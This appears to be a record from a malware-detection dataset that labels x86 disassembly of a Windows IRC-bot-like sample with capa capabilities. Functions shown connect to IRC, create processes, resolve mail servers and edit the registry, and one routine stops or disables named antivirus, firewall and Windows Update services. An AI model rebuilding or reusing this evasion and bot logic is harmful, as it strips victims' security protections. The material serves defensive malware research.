joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402120
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x830
mov eax, dword [0x4110cc]
xor eax, dword [ebp + 4]
push esi
push edi
push 6
push 1
push 2
mov dword [esp + 0x840], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40217a
push 4
lea ecx, [esp + 0x42c]
call fcn.00403dc0
mov esi, eax
push 0x40f738
lea eax, [esp + 0x20]
mov ecx, 0x103
lea edi, [esp + 0x20]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push edx
mov word [esp + 0x10], 2
mov dword [esp + 0x14], ecx
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
mov word [esp + 0x12], ax
lea eax, [esp + 0xc]
push eax
push 0x1006
push 0xffff
push esi
mov dword [esp + 0x1c], 0x7530
call edi
cmp eax, 0xffffffff
jne 0x4021e8
push 4
lea ecx, [esp + 0x42c]
call fcn.00403dc0
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push 0x40f738
lea ecx, [esp + 0x20]
push ecx
call fcn.004067e0
push 0x10
lea edx, [esp + 0x10]
push edx
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
push 4
jne 0x402225
lea ecx, [esp + 0x42c]
call fcn.00403dc0
mov esi, eax
push 0x40f738
lea eax, [esp + 0x20]
mov ecx, 0x103
lea edi, [esp + 0x20]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
lea ecx, [esp + 0xc]
push ecx
push 0x1006
push 0xffff
push esi
mov dword [esp + 0x1c], 0x493e0
call edi
cmp eax, 0xffffffff
jne 0x40226e
push 4
lea ecx, [esp + 0x42c]
call fcn.00403dc0
push 0x40f738
lea edx, [esp + 0x20]
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0x20]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
mov ecx, dword [esp + 0x834]
xor ecx, dword [ebp + 4]
mov eax, esi
call fcn.004067d2
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402380
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x818
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x4023ac
push 4
lea ecx, [esp + 0x418]
call fcn.00403dc0
jmp 0x4023c2
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
cmp byte [edx], 0x7f
jne 0x4023de
lea ecx, [esp + 0x414]
call fcn.00403da0
mov esi, eax
push 0x40f738
lea eax, [esp + 0xc]
mov ecx, 0x103
lea edi, [esp + 0xc]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
push 0x64
push esi
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
push ecx
call fcn.00403f70
mov edx, dword [ebp + 0x10]
add esp, 0xc
pop edi
mov dword [esi + 0x68], edx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4025c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x3020
call fcn.00406ed0
mov eax, dword [0x4110cc]
xor eax, dword [ebp + 4]
push esi
mov esi, dword [ebp + 8]
push edi
lea ecx, [esi + 0xd0]
push ecx
mov dword [esp + 0x3028], eax
lea eax, [esi + 0x6c]
lea edx, [esi + 4]
push edx
push eax
push eax
push eax
lea eax, [esp + 0x834]
push str.NICK__s_nUSER__s___s____s__:_s_n
push eax
call fcn.00406ca8
mov edx, dword [esi]
add esp, 0x1c
push 0
push eax
lea ecx, [esp + 0x828]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x40264d
push 4
lea ecx, [esp + 0x418]
call fcn.00403dc0
mov esi, eax
push 0x40f738
lea eax, [esp + 0xc]
mov ecx, 0x103
lea edi, [esp + 0xc]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
mov ecx, dword [esp + 0x3024]
xor ecx, dword [ebp + 4]
call fcn.004067d2
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402670
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x818
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
push edi
push 0
dec eax
push eax
push esi
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4026b6
test eax, eax
je 0x4026b6
cmp byte [eax + esi - 1], 0xa
jne 0x4026a4
dec eax
cmp byte [eax + esi - 1], 0xd
jne 0x4026ac
dec eax
pop edi
mov byte [eax + esi], 0
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea ecx, [esp + 0x418]
call fcn.00403dc0
push 0x40f738
lea edx, [esp + 0xc]
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0xc]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
int3

Function at 0x402ad0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x980
mov eax, dword [0x4110cc]
xor eax, dword [ebp + 4]
mov edx, dword [ebp + 8]
push esi
push edi
mov dword [esp + 0x984], eax
xor eax, eax
xor esi, esi
mov dword [esp + 0x18], esi
mov ecx, 0x10
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 0xc]
push 0x104
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
push edx
mov dword [esp + 0x20], eax
lea eax, [esp + 0x6c]
push str._s__s
push eax
mov dword [esp + 0x1c], esi
call fcn.00404060
add esp, 0x14
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
mov eax, 0x40e234
call fcn.00401fe0
push eax
push esi
push 0x4000000
push esi
push esi
push esi
lea eax, [esp + 0x80]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x402b90
push 3
lea ecx, [esp + 0x57c]
call fcn.00403dc0
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0x16c]
rep movsd dword es:[edi], dword [esi]
push 0x40f738
lea ecx, [esp + 0x170]
push ecx
call fcn.004067e0
mov ecx, dword [esp + 0x984]
xor ecx, dword [ebp + 4]
call fcn.004067d2
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402bb0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40db20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd20
mov eax, dword [0x4110cc]
xor eax, dword [ebp + 4]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x514], bl
mov ecx, 0xff
lea edi, [ebp - 0x513]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x10], esp
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
call edi
mov esi, dword [ebp + 0xc]
mov eax, dword [esi]
dec eax
je 0x402c91
dec eax
jne 0x402c6d
lea eax, [esi + 0x404]
push 0xff
push eax
mov eax, str.temp
mov dword [ebp - 4], ebx
call fcn.00401fe0
push eax
lea ecx, [ebp - 0x114]
push 0x40e22c
push ecx
call fcn.00404060
add esp, 0x14
lea edx, [ebp - 0x114]
push edx
lea eax, [esi + 4]
push eax
call fcn.00402ab0
add esp, 8
push 1
call edi
add esi, 0x503
lea ecx, [ebp - 0x114]
push esi
push ecx
call fcn.00402ad0
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
xor ecx, dword [ebp + 4]
call fcn.004067d2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp + 8]
lea edx, [esi + 0x6c]
push edx
lea eax, [ebp - 0x514]
push str.PONG_:_s_n
push eax
call fcn.00406ca8
mov edx, dword [esi]
add esp, 0xc
push ebx
push 6
lea ecx, [ebp - 0x514]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x402c6d
push 4
lea ecx, [ebp - 0xd2c]
call fcn.00403dc0
mov esi, eax
push 0x40f738
lea eax, [ebp - 0x920]
mov ecx, 0x103
lea edi, [ebp - 0x920]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
int3
Function at 0x402e70
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x820
mov ecx, dword [ebp + 8]
push esi
push edi
push 0
lea eax, [esp + 0x10]
push eax
push 0
push 0
mov edi, 0xf
push edi
push ecx
mov dword [esp + 0x24], 0
call sub.DNSAPI.dll_DnsQuery_A
test eax, eax
je 0x402eb7
push 3
lea ecx, [esp + 0x420]
call fcn.00403dc0
jmp 0x402f77
mov eax, dword [esp + 0xc]
test eax, eax
je 0x402f66
cmp word [eax + 8], di
jne 0x402f66
xor esi, esi
nop
cmp word [eax + 8], di
jne 0x402edd
mov eax, dword [eax]
inc esi
test eax, eax
jne 0x402ed0
call fcn.00406c4c
cdq
idiv esi
mov ecx, dword [esp + 0xc]
mov eax, ecx
test edx, edx
je 0x402ef5
nop
dec edx
mov eax, dword [eax]
jne 0x402ef0
test eax, eax
je 0x402f3b
mov eax, dword [eax + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402f2e
push 4
lea ecx, [esp + 0x420]
call fcn.00403dc0
mov ecx, 0x103
mov esi, eax
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
push 0x40f738
lea ecx, [esp + 0x14]
push ecx
jmp 0x402f8e
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov eax, dword [eax]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ecx + 0x18]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402f59
push 4
lea ecx, [esp + 0x420]
call fcn.00403dc0
jmp 0x402f77
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.mx_not_found
lea ecx, [esp + 0x420]
call fcn.00403e90
mov ecx, 0x103
mov esi, eax
lea edi, [esp + 0x10]
push 0x40f738
lea edx, [esp + 0x14]
rep movsd dword es:[edi], dword [esi]
push edx
call fcn.004067e0
int3

Function at 0x403330
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x870
push esi
mov esi, dword [ebp + 8]
push edi
xor eax, eax
mov dword [esp + 0x18], 0
mov ecx, 0x10
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov ecx, dword [ebp + 0xc]
mov dword [esp + 8], eax
push ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
push str.__w__nu
push esi
mov dword [esp + 0x20], eax
call fcn.00404100
mov ecx, dword [ebp + 0x10]
add esp, 0xc
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
push 0
push 0x4000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x4033ca
push 3
lea ecx, [esp + 0x470]
call fcn.00403dc0
push 0x40f738
lea edx, [esp + 0x64]
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0x64]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403b00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x870
push esi
push edi
xor edx, edx
xor eax, eax
mov dword [esp + 0x18], edx
mov ecx, 0x10
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea ecx, [esp + 8]
push ecx
mov ecx, dword [ebp + 0xc]
lea eax, [esp + 0x1c]
push eax
mov eax, dword [ebp + 8]
push ecx
push edx
push 0x4000000
push edx
push edx
push edx
push eax
push edx
mov dword [esp + 0x30], edx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x403b81
push 3
lea ecx, [esp + 0x470]
call fcn.00403dc0
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0x60]
rep movsd dword es:[edi], dword [esi]
push 0x40f738
lea ecx, [esp + 0x64]
push ecx
call fcn.004067e0
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4042c0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x818
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jne 0x40430c
push 3
lea ecx, [esp + 0x418]
call fcn.00403dc0
push 0x40f738
lea edx, [esp + 0xc]
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0xc]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404390
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x818
mov edx, dword [ebp + 0x10]
push esi
mov eax, edx
push edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4043a6
mov ecx, dword [ebp + 8]
sub eax, esi
push eax
mov eax, dword [ebp + 0xc]
push edx
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x4043f2
push eax
push 3
lea ecx, [esp + 0x41c]
call fcn.00403e10
push 0x40f738
lea edx, [esp + 0xc]
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0xc]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404400
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x820
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push edi
lea ecx, [esp + 0xc]
push ecx
push esi
push 0
dec eax
push 0
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 8]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x404460
push eax
push 3
lea ecx, [esp + 0x424]
call fcn.00403e10
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
push 0x40f738
lea ecx, [esp + 0x14]
push ecx
call fcn.004067e0
mov edx, dword [esp + 0xc]
mov byte [edx + esi], 0
mov eax, dword [esp + 0xc]
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404480
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x818
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
push esi
push edi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x4044cb
push eax
push 3
lea ecx, [esp + 0x41c]
call fcn.00403e10
push 0x40f738
lea edx, [esp + 0xc]
mov esi, eax
mov ecx, 0x103
lea edi, [esp + 0xc]
push edx
rep movsd dword es:[edi], dword [esi]
call fcn.004067e0
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404560
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x404588
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or eax, 0xffffffff
pop edi
add esp, 0x1c
ret
mov eax, dword [esp + 0x24]
push ebx
push esi
push 0xf003f
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x4045b6
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call esi
push edi
call esi
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x1c
ret
lea ecx, [esp + 0xc]
push ecx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x4045dd
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x1c
ret
cmp dword [esp + 0x10], 3
jne 0x404603
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4045c8
mov eax, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call ebx
push edi
call ebx
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
pop esi
pop ebx
mov eax, 1
pop edi
add esp, 0x1c
ret

Function at 0x404630
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0xc
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea eax, [esp]
push eax
push 0xf003f
push 0
push ecx
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40466d
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or eax, 0xffffffff
add esp, 0xc
ret
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 4]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
push eax
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4046a3
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 0xc
ret
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add esp, 0xc
ret
Function at 0x4046c0
Capabilities:
Set registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4046f1
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or eax, 0xffffffff
pop ecx
ret
mov edx, dword [esp + 0x14]
mov eax, edx
push esi
lea esi, [eax + 1]
jmp 0x404700
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x404700
mov ecx, dword [esp + 0x14]
sub eax, esi
push eax
push edx
mov edx, dword [esp + 0xc]
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
pop esi
je 0x404733
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ecx
ret
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret

Function at 0x404750
Capabilities:
Delete registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp]
push eax
push 0xf003f
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x404781
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or eax, 0xffffffff
pop ecx
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x4047a4
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop ecx
ret
mov ecx, dword [esp]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret

Function at 0x4047c0
Capabilities:
Query service status
Stop service

Disassembly:
sub esp, 0x1c
push esi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x4047e8
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or eax, 0xffffffff
pop esi
add esp, 0x1c
ret
push edi
push 0xf003f
push str.SharedAccess
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x404814
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret
lea eax, [esp + 8]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x40483a
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret
cmp dword [esp + 0xc], 3
jne 0x404860
push 0x7d0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 8]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x404826
mov eax, dword [esp + 0xc]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
pop edi
mov eax, 1
pop esi
add esp, 0x1c
ret
Function at 0x404880
Capabilities:
Query service status
Start service

Disassembly:
sub esp, 0x1c
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x4048a8
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or eax, 0xffffffff
pop edi
add esp, 0x1c
ret
mov eax, dword [esp + 0x24]
push ebx
push ebp
push esi
push 0xf003f
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
push 0
je 0x4048d2
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x4048e7
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1c
ret
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x7d0
call ebx
mov ebp, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea ecx, [esp + 0x10]
push ecx
push esi
call ebp
test eax, eax
je 0x4048d1
cmp dword [esp + 0x14], 4
je 0x404927
push 0x7d0
call ebx
lea edx, [esp + 0x10]
push edx
push esi
call ebp
test eax, eax
je 0x4048d1
cmp dword [esp + 0x14], 4
jne 0x4048d1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
pop ebp
pop ebx
mov eax, 1
pop edi
add esp, 0x1c
ret

Function at 0x404b20
Capabilities:
Query service status

Disassembly:
sub esp, 0x1c
push esi
push 4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x404b45
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or eax, 0xffffffff
pop esi
add esp, 0x1c
ret
mov eax, dword [esp + 0x24]
push edi
push 4
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x404b6e
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret
lea ecx, [esp + 8]
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x404b92
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push esi
call edi
pop edi
xor eax, eax
pop esi
add esp, 0x1c
ret
mov ecx, dword [esp + 0xc]
xor eax, eax
cmp ecx, 4
pop edi
sete al
pop esi
add esp, 0x1c
ret

Function at 0x404bb0
Capabilities:
Modify service

Disassembly:
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x404bd2
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
or eax, 0xffffffff
pop edi
ret
mov eax, dword [esp + 8]
push esi
push 2
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
push 0
jne 0x404bf9
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
xor eax, eax
pop edi
ret
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 4
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x404bef
call esi
push edi
call esi
pop esi
mov eax, 1
pop edi
ret
Function at 0x404c30
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xa0
push esi
push edi
xor eax, eax
xor esi, esi
mov dword [esp + 8], esi
mov ecx, 0x26
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
call fcn.00404530
push str.wscsvc
call fcn.00404560
mov eax, dword [esp + 0x14]
add esp, 8
cmp eax, 5
jne 0x404c8a
cmp dword [esp + 0x10], 1
jne 0x404c8a
cmp word [esp + 0x9c], 2
jne 0x404c8a
call fcn.00404940
jmp 0x404c97
push str.SharedAccess
call fcn.00404560
add esp, 4
cmp eax, 1
je 0x404cad
push str.SharedAccess
call fcn.00404b20
add esp, 4
test eax, eax
jne 0x404cb2
mov esi, 1
push str.kavsvc
call fcn.00404560
add esp, 4
test eax, eax
jne 0x404cd0
push str.kavsvc
call fcn.00404bb0
add esp, 4
push str.SAVScan
call fcn.00404560
add esp, 4
test eax, eax
jne 0x404cee
push str.SAVScan
call fcn.00404bb0
add esp, 4
push str.Symantec_Core_LC
call fcn.00404560
add esp, 4
test eax, eax
jne 0x404d0c
push str.Symantec_Core_LC
call fcn.00404bb0
add esp, 4
push str.navapsvc
call fcn.00404560
add esp, 4
test eax, eax
jne 0x404d2a
push str.navapsvc
call fcn.00404bb0
add esp, 4
push str.wuauserv
call fcn.00404560
add esp, 4
test eax, eax
jne 0x404d48
push str.wuauserv
call fcn.00404bb0
add esp, 4
push str.KAVPersonal50
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call fcn.00404750
add esp, 0xc
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404d70
Capabilities:
Create thread
Resume thread

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push esi
lea eax, [esp + 4]
push eax
push 4
push ecx
push 0x404db0
push 0x1f03ff
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_SetThreadPriority]
push esi
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov eax, 1
pop esi
pop ecx
ret